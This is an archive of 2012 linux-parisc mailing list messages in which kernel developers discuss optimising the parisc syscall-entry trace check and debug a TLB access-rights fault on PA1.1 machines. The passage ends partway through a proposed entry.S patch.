Xref: news.gmane.org gmane.linux.ports.parisc:4445 gmane.linux.kernel.cross-arch:14202
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4445>

	BTW, after looking through the asm glue there, I've noticed something
rather odd.  *All* architectures other than parisc have the following thing
done on syscall entry:
	* check if we have TIF_SYSCALL_TRACE in flags; bugger off to slow
path if we do.
	* there check if we have PT_PTRACED in current->ptrace and if so
do the standard song and dance with raising SIGTRAP or SIGTRAP | 0x80,
etc.

parisc does that in the opposite order - it goes to slow path if
current->ptrace & PT_PTRACED is true.  The same actions with raising
SIGTRAP, etc. are done only if TIF_SYSCALL_TRACE is there as well,
but by that point we'd already plonked a bunch of registers on the
stack and we actually stay on the slow path even in absense of SYSCALL_TRACE.

The thing is, other architectures have a good reason for looking at
SYSCALL_TRACE first and not bothering with all that fun if it's not set.
PT_PTRACED is set when the task is being traced; it does *not* imply
stopping on every syscall entry.  E.g. a perfectly normal situation is
when in gdb you've said
break foo.c:69
cont
and let the process run until it hits that breakpoint.  It has PT_PTRACED
all along.  It will be stopped when it gets a signal, including SIGTRAP
we'll get when it steps on that breakpoint.  But by that time it's very
likely to have passed through tons of syscalls without stopping on any of
them.  SYSCALL_TRACE is set *only* when we want the process to stop on the
next syscall.  That's what strace(1) and friends are using.  So it doesn't
make sense to get overhead for all processes that have PT_PTRACED;
SYSCALL_TRACE is less likely, so checking it first is an obvious approach.

Moreover, checking PT_TRACED first is not even cheaper in the common case
(i.e. when branch to .Ltracesys is not taken at all).  As it is, parisc does
        mfctl   %cr30, %r1
        LDREG   TI_TASK(%r1),%r1
        ldw     TASK_PTRACE(%r1), %r1
        bb,<,n  %r1,31,.Ltracesys
and that's actually an extra dereference compared to
        mfctl   %cr30, %r1
        LDREG   TI_FLAGS(%r1),%r1
        bb,<,n  %r1,31 - TIF_SYSCALL_TRACE,.Ltracesys
Note that tracehook_report_syscall_entry/tracehook_report_syscall_exit
are checking PT_PTRACED, so it's not like we needed to change anything
other than that spot - resulting logics will be equivalent to what we
have right now.  Looks like a fairly straightforward optimisation...
Am I missing something subtle and parisc-specific here?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Sun, 20 May 2012 10:04:44 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20120520090444.GA26841@ZenIV.linux.org.uk>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk>
 <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com>
 <20120518195610.GV22082@ZenIV.linux.org.uk>
 <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com>
 <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com>
 <20120518222422.GX22082@ZenIV.linux.org.uk>
 <20120520084042.GA25447@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1337504692 9972 80.91.229.3 (20 May 2012 09:04:52 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 09:04:52 +0000 (UTC)
Cc: Grant Grundler <grantgrundler@gmail.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 11:04:50 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SW24H-0005pN-Gt
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 11:04:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233Ab2ETJEt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 05:04:49 -0400
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:35387 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751609Ab2ETJEr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 05:04:47 -0400
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux))
	id 1SW24C-00076v-O9; Sun, 20 May 2012 09:04:44 +0000
Content-Disposition: inline
In-Reply-To: <20120520084042.GA25447@ZenIV.linux.org.uk>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4446 gmane.linux.kernel.cross-arch:14203
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4446>

On Sun, May 20, 2012 at 09:40:42AM +0100, Al Viro wrote:
> Moreover, checking PT_TRACED first is not even cheaper in the common case
> (i.e. when branch to .Ltracesys is not taken at all).  As it is, parisc does
>         mfctl   %cr30, %r1
>         LDREG   TI_TASK(%r1),%r1
>         ldw     TASK_PTRACE(%r1), %r1
>         bb,<,n  %r1,31,.Ltracesys
> and that's actually an extra dereference compared to
>         mfctl   %cr30, %r1
>         LDREG   TI_FLAGS(%r1),%r1
>         bb,<,n  %r1,31 - TIF_SYSCALL_TRACE,.Ltracesys
> Note that tracehook_report_syscall_entry/tracehook_report_syscall_exit
> are checking PT_PTRACED, so it's not like we needed to change anything
> other than that spot - resulting logics will be equivalent to what we
> have right now.  Looks like a fairly straightforward optimisation...
> Am I missing something subtle and parisc-specific here?

Actually, looks like I am missing something, but it's not particulary subtle.
SYSCALL_TRACE is needed for do_syscall_trace_enter() to do anything;
any of SYSCALL_TRACE/SINGLESTEP/BLOCKSTEP is makes do_syscall_trace_leave()
do things.  So checking one bit in flags is not enough - any of those 3 is
a reason for taking the slow path.  The point still stands, though -
	mfctl   %cr30, %r1
	LDREG   TI_FLAGS(%r1),%r1
	ldi	(_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP | _TIF_BLOCKSTEP), %r19
        and,COND(=) %r19, %r1, %r0
	b,n	.Ltracesys
would still be no worse on the fast path and would not hit the slow path in
a lot of cases when the current code does it for no apparent reason.

Comments?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 20 May 2012 11:01:00 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1337508060.2682.13.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	   <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	   <4FAADE2A.9080803@bergerie>
	 <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>
	 <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>   <4FB182F8.2040403@gmx.de>
	 <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	   <1337069366.3005.10.camel@dabdike.lan>
	  <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	  <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	  <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	  <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	  <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>
	 <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>
	 <4FB6BA76.6010101@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337508074 30304 80.91.229.3 (20 May 2012 10:01:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 10:01:14 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 12:01:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SW2wl-0001A7-K5
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 12:01:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753079Ab2ETKBG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 06:01:06 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43710 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752782Ab2ETKBF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 06:01:05 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 604BA8EE0A5;
	Sun, 20 May 2012 03:01:04 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id wZpDe3IyHeWe; Sun, 20 May 2012 03:01:04 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 01E908EE0A2;
	Sun, 20 May 2012 03:01:02 -0700 (PDT)
In-Reply-To: <4FB6BA76.6010101@gmx.de>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4447
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4447>

On Fri, 2012-05-18 at 23:09 +0200, Helge Deller wrote:
> James, here is the full kernel log. Does this help?

Yes and no: it shows clearly we got all the way through the initrd, so
we've gone through the alias region thousands of times doing flushes.

> Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)
> 
It's an access rights trap, presumably on the alias tlb, since the
address is definitely in the alias region.  The obvious candidate is the
protection id deposit in do_alias

	depw,z		\prot,8,7,\prot

but that all checks out fine (you can compare it with
make_insert_tlb_11). So the page should have read, write and dirty set.

The interesting thing is that the only way to get an access rights trap
in the kernel is if the protection type is zero and I just can't see how
do_alias would zero out \prot in a way that functions on your C3000
(PA2.0) but not on the PA1.1 systems.

Are you sure this is booting the same kernel?

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [parisc] double restarts on multiple signal arrivals
Date: Sun, 20 May 2012 14:46:21 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <BLU0-SMTP98435C9101767076C00E7A971C0@phx.gbl>
References: <20120518175833.GQ22082@ZenIV.linux.org.uk> <CAP6odjiS+oH7ajnHcyBJwm9bCTZxDJ7w02JeCuWW_UF3Fm49xw@mail.gmail.com> <20120518195610.GV22082@ZenIV.linux.org.uk> <CAP6odjgyK3af7yqHAFTTs38SSNM9H49oWiH=a4byp4MerirE0g@mail.gmail.com> <CADZpyixTTcNd0GekBg=UeWMf3eR+Casn6r7cLkcfnaH1Mihk=w@mail.gmail.com> <20120518222422.GX22082@ZenIV.linux.org.uk> <20120520084042.GA25447@ZenIV.linux.org.uk> <20120520090444.GA26841@ZenIV.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337539595 11922 80.91.229.3 (20 May 2012 18:46:35 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 18:46:35 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Grant Grundler <grantgrundler@gmail.com>,
	linux-parisc@vger.kernel.org,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-arch@vger.kernel.org
To: Al Viro <viro@zeniv.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 20:46:34 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWB9F-0005QE-Ic
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 20:46:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756759Ab2ETSqc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 14:46:32 -0400
Original-Received: from blu0-omc4-s10.blu0.hotmail.com ([65.55.111.149]:2696 "EHLO
	blu0-omc4-s10.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756741Ab2ETSqb (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 14:46:31 -0400
Original-Received: from BLU0-SMTP98 ([65.55.111.137]) by blu0-omc4-s10.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 20 May 2012 11:46:31 -0700
X-Originating-IP: [174.92.87.213]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([174.92.87.213]) by BLU0-SMTP98.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 20 May 2012 11:46:29 -0700
In-Reply-To: <20120520090444.GA26841@ZenIV.linux.org.uk>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 May 2012 18:46:30.0014 (UTC) FILETIME=[DE9A29E0:01CD36B8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4449 gmane.linux.kernel.cross-arch:14205
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4449>

On 20-May-12, at 5:04 AM, Al Viro wrote:

> Actually, looks like I am missing something, but it's not  
> particulary subtle.
> SYSCALL_TRACE is needed for do_syscall_trace_enter() to do anything;
> any of SYSCALL_TRACE/SINGLESTEP/BLOCKSTEP is makes  
> do_syscall_trace_leave()
> do things.  So checking one bit in flags is not enough - any of  
> those 3 is
> a reason for taking the slow path.  The point still stands, though -
> 	mfctl   %cr30, %r1
> 	LDREG   TI_FLAGS(%r1),%r1
> 	ldi	(_TIF_SYSCALL_TRACE | _TIF_SINGLESTEP | _TIF_BLOCKSTEP), %r19
>        and,COND(=) %r19, %r1, %r0
> 	b,n	.Ltracesys
> would still be no worse on the fast path and would not hit the slow  
> path in
> a lot of cases when the current code does it for no apparent reason.
>
> Comments?

This looks good to me.  There is similar code in entry.S.

I added the above change to my patch set for stable 3.3.6.  System still
boots.  I singled stepped /bin/ls through a directory listing and it  
seemed
to work.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 20 May 2012 21:11:43 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <4FB941EF.4060304@gmx.de>
References: <4FA9975C.5060708@bergerie>    <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>    <4FAADE2A.9080803@bergerie>  <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>  <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>   <4FB182F8.2040403@gmx.de>  <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>    <1337069366.3005.10.camel@dabdike.lan>   <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>   <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>   <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>   <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>   <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>  <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>  <4FB6BA76.6010101@gmx.de> <1337508060.2682.13.camel@dabdike.int.
 hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337541135 22225 80.91.229.3 (20 May 2012 19:12:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 19:12:15 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 21:12:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWBXz-0001oF-M7
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 21:12:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932123Ab2ETTLz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 15:11:55 -0400
Original-Received: from mailout-de.gmx.net ([213.165.64.23]:43783 "HELO
	mailout-de.gmx.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with SMTP id S932121Ab2ETTLv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 15:11:51 -0400
Original-Received: (qmail invoked by alias); 20 May 2012 19:11:49 -0000
Original-Received: from p54AD06D9.dip0.t-ipconnect.de (EHLO mini.box) [84.173.6.217]
  by mail.gmx.net (mp017) with SMTP; 20 May 2012 21:11:49 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18QPn5HGLYQxnA8a75Nt/sfJo+oRdx6Yc3Fk4foP5
	eORPMGD/hZa7kZ
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20120430 Thunderbird/12.0.1
In-Reply-To: <1337508060.2682.13.camel@dabdike.int.hansenpartnership.com>
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4450
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4450>

On 05/20/2012 12:01 PM, James Bottomley wrote:
> On Fri, 2012-05-18 at 23:09 +0200, Helge Deller wrote:
>> James, here is the full kernel log. Does this help?
>
> Yes and no: it shows clearly we got all the way through the initrd, so
> we've gone through the alias region thousands of times doing flushes.
>
>> Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)
>>
> It's an access rights trap, presumably on the alias tlb, since the
> address is definitely in the alias region.  The obvious candidate is the
> protection id deposit in do_alias
>
> 	depw,z		\prot,8,7,\prot
>
> but that all checks out fine (you can compare it with
> make_insert_tlb_11). So the page should have read, write and dirty set.
>
> The interesting thing is that the only way to get an access rights trap
> in the kernel is if the protection type is zero and I just can't see how
> do_alias would zero out \prot in a way that functions on your C3000
> (PA2.0) but not on the PA1.1 systems.
>
> Are you sure this is booting the same kernel?

Yes, since I use tftboot to deliver same vmlinux kernel to all my machines
for bootup.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Sun, 20 May 2012 21:15:24 +0100
Lines: 161
Approved: news@gmane.org
Message-ID: <1337544924.2682.21.camel@dabdike.int.hansenpartnership.com>
References: <4FA9975C.5060708@bergerie>
	    <41786065.U2qKzXR3uX@donald.sf-tec.de> <4FAA9382.7040802@bell.net>
	    <4FAADE2A.9080803@bergerie>
	  <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl>   <4FAEE943.2030203@gmx.de>
	  <BLU0-SMTP93504AF1AF0414C90D1EFB971A0@phx.gbl>   <4FB182F8.2040403@gmx.de>
	  <BLU0-SMTP728EA90F4400504B2AF7A4971A0@phx.gbl>
	    <1337069366.3005.10.camel@dabdike.lan>
	   <1337073212.3005.12.camel@dabdike.lan> <4FB29F13.5070801@bell.net>
	   <4FB2A58A.9050706@gmx.de> <4FB2AD78.1020002@bell.net>
	   <4FB2B2A2.2020207@bell.net> <4FB2B5B1.7000604@gmx.de>
	   <4FB2B71B.7090602@bell.net> <4FB2BC5F.3080905@gmx.de>
	   <4FB2C129.90307@bell.net> <4FB550F1.7080104@gmx.de>
	  <1337328744.2938.5.camel@dabdike.int.hansenpartnership.com>
	  <4FB6BA76.6010101@gmx.de>
	 <1337508060.2682.13.camel@dabdike.int.hansenpartnership.com>
	 <4FB941EF.4060304@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1337544943 16895 80.91.229.3 (20 May 2012 20:15:43 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 20 May 2012 20:15:43 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Vincent <vincent.stehle@laposte.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun May 20 22:15:41 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SWCXO-0006Id-EH
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 May 2012 22:15:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752233Ab2ETUPa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 May 2012 16:15:30 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44514 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752174Ab2ETUP3 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 May 2012 16:15:29 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id BBF6E8EE13C;
	Sun, 20 May 2012 13:15:28 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZK6NhFUaP4wo; Sun, 20 May 2012 13:15:28 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [87.194.65.0])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C93378EE108;
	Sun, 20 May 2012 13:15:26 -0700 (PDT)
In-Reply-To: <4FB941EF.4060304@gmx.de>
X-Mailer: Evolution 3.2.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4451
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4451>

On Sun, 2012-05-20 at 21:11 +0200, Helge Deller wrote:
> On 05/20/2012 12:01 PM, James Bottomley wrote:
> > On Fri, 2012-05-18 at 23:09 +0200, Helge Deller wrote:
> >> James, here is the full kernel log. Does this help?
> >
> > Yes and no: it shows clearly we got all the way through the initrd, so
> > we've gone through the alias region thousands of times doing flushes.
> >
> >> Kernel Fault: Code=26 regs=8fc30940 (Addr=0f2ff000)
> >>
> > It's an access rights trap, presumably on the alias tlb, since the
> > address is definitely in the alias region.  The obvious candidate is the
> > protection id deposit in do_alias
> >
> > 	depw,z		\prot,8,7,\prot
> >
> > but that all checks out fine (you can compare it with
> > make_insert_tlb_11). So the page should have read, write and dirty set.
> >
> > The interesting thing is that the only way to get an access rights trap
> > in the kernel is if the protection type is zero and I just can't see how
> > do_alias would zero out \prot in a way that functions on your C3000
> > (PA2.0) but not on the PA1.1 systems.
> >
> > Are you sure this is booting the same kernel?
> 
> Yes, since I use tftboot to deliver same vmlinux kernel to all my machines
> for bootup.

The penny finally dropped on Dave's last comment.  The _20 path needs to
use wide instructions even though it's executing narrow code because we
have to use the PA2.0 tlb insertion instruction, so it's not
CONFIG_64BIT that's the differentiator, but which interruption path
we're on.

Does this fix it?

James

---

diff --git a/arch/parisc/kernel/entry.S b/arch/parisc/kernel/entry.S
index 5350342..07ef351 100644
--- a/arch/parisc/kernel/entry.S
+++ b/arch/parisc/kernel/entry.S
@@ -552,7 +552,7 @@
 	 * entry (identifying the physical page) and %r23 up with
 	 * the from tlb entry (or nothing if only a to entry---for
 	 * clear_user_page_asm) */
-	.macro		do_alias	spc,tmp,tmp1,va,pte,prot,fault
+	.macro		do_alias	spc,tmp,tmp1,va,pte,prot,fault,patype
 	cmpib,COND(<>),n 0,\spc,\fault
 	ldil		L%(TMPALIAS_MAP_START),\tmp
 #if defined(CONFIG_64BIT) && (TMPALIAS_MAP_START >= 0x80000000)
@@ -581,11 +581,15 @@
 	 */
 	cmpiclr,=	0x01,\tmp,%r0
 	ldi		(_PAGE_DIRTY|_PAGE_READ|_PAGE_WRITE),\prot
-#ifdef CONFIG_64BIT
+.ifc \patype,20
 	depd,z		\prot,8,7,\prot
-#else
+.else
+.ifc \patype,11
 	depw,z		\prot,8,7,\prot
-#endif
+.else
+	.error "undefined PA type to do_alias"
+.endif
+.endif
 	/*
 	 * OK, it is in the temp alias region, check whether "from" or "to".
 	 * Check "subtle" note in pacache.S re: r23/r26.
@@ -1189,7 +1193,7 @@ dtlb_miss_20w:
 	nop
 
 dtlb_check_alias_20w:
-	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault
+	do_alias	spc,t0,t1,va,pte,prot,dtlb_fault,20
 
 	idtlbt          pte,prot
 
@@ -1213,7 +1217,7 @@ nadtlb_miss_20w:
 	nop
 
 nadtlb_check_alias_20w:
-	do_alias	spc,t0,t1,va,pte,prot,nadtlb_emulate
